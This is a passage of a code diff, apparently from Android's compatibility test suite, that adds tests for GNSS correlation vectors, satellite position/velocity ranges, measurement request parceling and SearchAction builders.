 import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
 import android.location.GnssClock;
 import android.location.GnssMeasurement;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
 import android.location.LocationManager;
+import android.location.SatellitePvt;
 import android.util.Log;
 
 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collection;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -298,7 +303,98 @@
                 measurement.getAutomaticGainControlLevelDb() >= -100
                     && measurement.getAutomaticGainControlLevelDb() <= 100);
         }
+    }
 
+    /**
+     * Assert all SystemApi fields in Gnss Measurement are in expected range.
+     *
+     * @param testLocationManager TestLocationManager
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     * @param requireCorrVec assert correlation vectors outputs
+     * @param requireSatPvt  assert satellite PVT outputs
+     */
+    public static void assertAllGnssMeasurementSystemFields(
+        TestLocationManager testLocationManager, GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+        if (requireCorrVec) {
+            softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+                timeInNs,
+                "measurement.hasCorrelationVectors() == true",
+                String.valueOf(measurement.hasCorrelationVectors()),
+                measurement.hasCorrelationVectors());
+        }
+        if (measurement.hasCorrelationVectors()) {
+            verifyCorrelationVectors(measurement, softAssert, timeInNs);
+        }
+
+        if (requireSatPvt) {
+            softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+                timeInNs,
+                "measurement.hasSatellitePvt() == true",
+                String.valueOf(measurement.hasSatellitePvt()),
+                measurement.hasSatellitePvt());
+        }
+        if (measurement.hasSatellitePvt()) {
+            verifySatellitePvt(measurement, softAssert, timeInNs);
+        }
+    }
+
+    /**
+     * Verify correlation vectors are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifyCorrelationVectors(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        Collection<CorrelationVector> correlationVectors =
+                measurement.getCorrelationVectors();
+        assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+        softAssert.assertTrue("CorrelationVectors count",
+                timeInNs,
+                "X > 0",
+                String.valueOf(correlationVectors.size()),
+                correlationVectors.size() > 0);
+        for (CorrelationVector correlationVector : correlationVectors) {
+            assertNotNull("CorrelationVector cannot be null.", correlationVector);
+            int[] magnitude = correlationVector.getMagnitude();
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Frequency offset from reported pseudorange rate "
+                    + "for this CorrelationVector",
+                    timeInNs,
+                    "X >= 0",
+                    String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+                    correlationVector.getFrequencyOffsetMetersPerSecond() >= 0);
+            softAssert.assertTrue("sampling_width_m : "
+                    + "The space between correlation samples in meters",
+                    timeInNs,
+                    "X > 0.0",
+                    String.valueOf(correlationVector.getSamplingWidthMeters()),
+                    correlationVector.getSamplingWidthMeters() > 0.0);
+            softAssert.assertTrue("frequency_offset_mps : "
+                    + "Offset of the first sampling bin in meters",
+                    timeInNs,
+                    "X >= 0.0",
+                    String.valueOf(correlationVector.getSamplingStartMeters()),
+                    correlationVector.getSamplingStartMeters() >= 0.0);
+            softAssert.assertTrue("Magnitude count",
+                    timeInNs,
+                    "X > 0",
+                    String.valueOf(magnitude.length),
+                magnitude.length > 0);
+            for (int value : magnitude) {
+                softAssert.assertTrue("magnitude : Data representing normalized "
+                        + "correlation magnitude values",
+                        timeInNs,
+                        "-32768 <= X < 32767",
+                        String.valueOf(value),
+                        value >= -32768 && value < 32767);
+            }
+        }
     }
 
     /**
@@ -876,4 +972,71 @@
         }
         return GnssBand.GNSS_L1; // default to L1 band
     }
+
+    /**
+     * Assert most of the fields in Satellite PVT are in expected range.
+     *
+     * @param measurement GnssMeasurement
+     * @param softAssert  custom SoftAssert
+     * @param timeInNs    event time in ns
+     */
+    private static void verifySatellitePvt(GnssMeasurement measurement,
+        SoftAssert softAssert, long timeInNs) {
+        SatellitePvt satellitePvt = measurement.getSatellitePvt();
+        assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+        softAssert.assertTrue("x_meters : "
+                + "Satellite position X in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+                satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+        softAssert.assertTrue("y_meters : "
+                + "Satellite position Y in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+                satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+        softAssert.assertTrue("z_meters : "
+                + "Satellite position Z in WGS84 ECEF (meters)",
+                timeInNs,
+                "-43000000 <= X <= 43000000",
+                String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+                satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+                    satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+        softAssert.assertTrue("ure_meters : "
+                + "The Signal in Space User Range Error (URE) (meters)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+                satellitePvt.getPositionEcef().getUreMeters() > 0);
+        softAssert.assertTrue("x_mps : "
+                + "Satellite velocity X in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+        softAssert.assertTrue("y_mps : "
+                + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+        softAssert.assertTrue("z_mps : "
+                + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+                timeInNs,
+                "-4000 <= X <= 4000",
+                String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+                    satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+        softAssert.assertTrue("ure_rate_mps : "
+                + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+                timeInNs,
+                "X > 0",
+                String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+                satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+    }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index 64fc851..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -41,8 +41,8 @@
  * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
  *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
  *    does not support the GPS feature.
- *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- *     mandatory fields is not populated or in the expected range.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ *    mandatory fields is not populated or in the expected range.
  */
 public class GnssMeasurementValuesTest extends GnssTestCase {
 
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..b14ac96
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+    private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+    @Test
+    public void testCorrelationVectorDescribeContents() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        assertEquals(0, correlationVector.describeContents());
+    }
+
+    @Test
+    public void testCorrelationVectorWriteToParcel() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        Parcel parcel = Parcel.obtain();
+        correlationVector.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+        verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateCorrelationVectorAndGetValues() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        verifyCorrelationVectorValuesAndGetters(correlationVector);
+    }
+
+    @Test
+    public void testEquals() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1, correlationVector2);
+        assertNotEquals(correlationVector1, correlationVector3);
+    }
+
+    @Test
+    public void testHashCode() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+        assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+    }
+
+    private static void verifyCorrelationVectorValuesAndGetters(
+            CorrelationVector correlationVector) {
+        assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+        assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+        assertEquals(10, correlationVector.getFrequencyOffsetMetersPerSecond());
+        assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+    }
+
+    private static CorrelationVector createTestCorrelationVector(
+            double samplingWidthMeters, double samplingStartMeters,
+                    int frequencyOffsetMetersPerSecond, int[] magnitude) {
+        return new CorrelationVector.Builder()
+                .setSamplingWidthMeters(samplingWidthMeters)
+                .setSamplingStartMeters(samplingStartMeters)
+                .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+                .setMagnitude(magnitude)
+                .build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 1a68240..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.privileged;
 
 import android.Manifest;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssRequest;
 import android.location.Location;
@@ -103,6 +104,33 @@
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
                 new GnssRequest.Builder().setFullTracking(true).build());
 
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with correlation vector outputs enabled
+     */
+    public void testGnssMeasurementRegistration_enableCorrelationOutputs() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().
+                        setCorrelationVectorOutputsEnabled(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
         mMeasurementListener.await();
 
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..ced41ba
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRequestTest.java
@@ -0,0 +1,92 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssMeasurementRequest;
+import android.location.LocationManager;
+import android.os.Parcel;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private Context mContext;
+    private LocationManager mLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        mLocationManager = mContext.getSystemService(LocationManager.class);
+        assertNotNull(mLocationManager);
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isCorrelationVectorOutputsEnabled());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isCorrelationVectorOutputsEnabled());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean correlationVectorOutputs) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setCorrelationVectorOutputsEnabled(correlationVectorOutputs);
+        return builder.build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
new file mode 100644
index 0000000..ca7a1fc
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.location.CorrelationVector;
+import android.location.GnssMeasurement;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementTest {
+
+    private static final Collection<CorrelationVector> TEST_CORRELATION_VECTORS =
+            createTestCorrelationVectors();
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        assertEquals(0, measurement.describeContents());
+    }
+
+    @Test
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    @Test
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCorrelationVectors());
+        measurement.resetCorrelationVectors();
+        assertFalse(measurement.hasCorrelationVectors());
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setCorrelationVectors(TEST_CORRELATION_VECTORS);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        Collection<CorrelationVector> correlationVectors = measurement.getCorrelationVectors();
+        assertArrayEquals(
+                TEST_CORRELATION_VECTORS.toArray(
+                        new CorrelationVector[TEST_CORRELATION_VECTORS.size()]),
+                correlationVectors.toArray(new CorrelationVector[correlationVectors.size()]));
+    }
+
+    private static Collection<CorrelationVector> createTestCorrelationVectors() {
+        Collection<CorrelationVector> correlationVectors = new ArrayList<>();
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(10d)
+                        .setFrequencyOffsetMetersPerSecond(10)
+                        .setMagnitude(new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0})
+                        .build());
+        correlationVectors.add(
+                new CorrelationVector.Builder()
+                        .setSamplingWidthMeters(30d)
+                        .setSamplingStartMeters(20d)
+                        .setFrequencyOffsetMetersPerSecond(20)
+                        .setMagnitude(new int[] {0, 3000, 5000, 3000, 0, 0, 1000, 0})
+                        .build());
+        return correlationVectors;
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
new file mode 100644
index 0000000..74c67d4
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementValuesTest.java
@@ -0,0 +1,140 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.Manifest;
+import android.content.Context;
+import android.location.GnssCapabilities;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestGnssMeasurementListener;
+import android.location.cts.common.TestLocationListener;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test the {@link GnssMeasurement} values.
+ *
+ * 1. Register for location updates.
+ * 2. Register a listener for {@link GnssMeasurementsEvent}s.
+ * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
+ *        3.1 Confirm locations have been found.
+ * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s, the test will fail if any of the fields is not populated
+ *    or in the expected range.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementValuesTest {
+
+    private static final String TAG = "GnssMeasValuesTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 20;
+
+    private Context mContext;
+    private TestGnssMeasurementListener mMeasurementListener;
+    private TestLocationListener mLocationListener;
+    private TestLocationManager mTestLocationManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = ApplicationProvider.getApplicationContext();
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
+        mTestLocationManager = new TestLocationManager(mContext);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Unregister listeners
+        if (mLocationListener != null) {
+            mTestLocationManager.removeLocationUpdates(mLocationListener);
+        }
+        if (mMeasurementListener != null) {
+            mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+        }
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+     * It only performs valid checks for the measurements received.
+     * This tests uses actual data retrieved from GPS HAL.
+     */
+    @Test
+    public void testListenForGnssMeasurements() throws Exception {
+        boolean isCorrVecSupported = false;
+        boolean isSatPvtSupported = false;
+
+        // Checks if GPS hardware feature is present, skips test (pass) if not
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
+            return;
+        }
+
+        if (TestMeasurementUtil.isAutomotiveDevice(mContext)) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        GnssCapabilities capabilities = mTestLocationManager.getLocationManager().
+                getGnssCapabilities();
+        isSatPvtSupported = capabilities.hasSatellitePvt();
+        isCorrVecSupported = capabilities.hasMeasurementCorrelationVectors();
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG);
+        mTestLocationManager.registerGnssMeasurementCallback(
+                mMeasurementListener,
+                new GnssMeasurementRequest.Builder()
+                        .setCorrelationVectorOutputsEnabled(isCorrVecSupported)
+                        .build());
+
+        SoftAssert softAssert = new SoftAssert(TAG);
+        boolean success = mLocationListener.await();
+        softAssert.assertTrue(
+                "Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success);
+
+        Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of GnssMeasurement Event received = " + eventCount);
+
+        softAssert.assertTrue(
+                "GnssMeasurementEvent count", "X > 0",
+                String.valueOf(eventCount), eventCount > 0);
+
+        for (GnssMeasurementsEvent event : events) {
+            // Verify Gps Event optional fields are in required ranges
+            assertNotNull("GnssMeasurementEvent cannot be null.", event);
+            long timeInNs = event.getClock().getTimeNanos();
+            for (GnssMeasurement measurement : event.getMeasurements()) {
+                TestMeasurementUtil.assertAllGnssMeasurementSystemFields(mTestLocationManager,
+                    measurement, softAssert, timeInNs, isCorrVecSupported, isSatPvtSupported);
+            }
+        }
+        softAssert.assertAll();
+    }
+}
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
index 4581032..d06550f 100644
--- a/tests/searchui/Android.bp
+++ b/tests/searchui/Android.bp
@@ -17,9 +17,11 @@
     defaults: ["cts_defaults"],
     static_libs: [
         "androidx.annotation_annotation",
+        "androidx.test.ext.junit",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "truth-prebuilt",
+        "testng",
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
new file mode 100644
index 0000000..8018f15
--- /dev/null
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.searchuiservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertThrows;
+
+import android.app.PendingIntent;
+import android.app.search.SearchAction;
+import android.app.search.SearchAction.Builder;
+import android.content.Intent;
+import android.graphics.Bitmap;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * Tests for {@link SearchAction}
+ *
+ * atest CtsSearchUiServiceTestCases
+ */
+@RunWith(JUnit4.class)
+public class SearchActionTest {
+    private static final String ID = "ID";
+    private static final String TITLE = "TITLE";
+    private static final Intent INTENT = new Intent();
+
+    private final SearchAction.Builder mBuilder = new SearchAction.Builder(ID, TITLE);
+
+    private final Bundle mExtras = new Bundle();
+
+    @Before
+    public void setIntentExtras() {
+        mExtras.putString("SEARCH", "AWESOME");
+        mBuilder.setExtras(mExtras).setIntent(INTENT);
+    }
+
+    @Test
+    public void testBuilder_invalidId() {
+        assertThrows(NullPointerException.class, () -> new Builder (null, TITLE));
+    }
+
+    @Test
+    public void testBuilder_invalidTitle() {
+        assertThrows(NullPointerException.class, () -> new Builder (ID, null));
+    }
+
+    @Test
+    public void testBuilder_zeroIntent() {
+        assertThrows(IllegalStateException.class, () -> new Builder(ID, TITLE).build());
+    }
+
+    @Test
+    public void testParcel_nullIcon() {
+        final SearchAction originalSearchAction = mBuilder.setIntent(INTENT).build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_bitmapIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithBitmap(
+                        Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8)))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    @Test
+    public void testParcel_filePathIcon() {
+        final SearchAction originalSearchAction = mBuilder
+                .setIcon(Icon.createWithFilePath("file path"))
+                .build();
+        assertEverything(originalSearchAction);
+        final SearchAction clone = cloneThroughParcel(originalSearchAction);
+        assertEverything(clone);
+    }
+
+    private void assertEverything(@NonNull SearchAction searchAction) {
+        assertThat(searchAction).isNotNull();
+        assertThat(searchAction.getId()).isEqualTo(ID);
+        assertThat(searchAction.getTitle()).isEqualTo(TITLE);
+        assertExtras(searchAction.getExtras());
+    }
+
+    private void assertExtras(@NonNull Bundle bundle) {
+        assertThat(bundle).isNotNull();
+        assertThat(bundle.keySet()).hasSize(1);
+        assertThat(bundle.getString("SEARCH")).isEqualTo("AWESOME");
+    }
+
+    private SearchAction cloneThroughParcel(@NonNull SearchAction searchAction) {
+        final Parcel parcel = Parcel.obtain();
+
+        try {
+            // Write to parcel
+            parcel.setDataPosition(0);
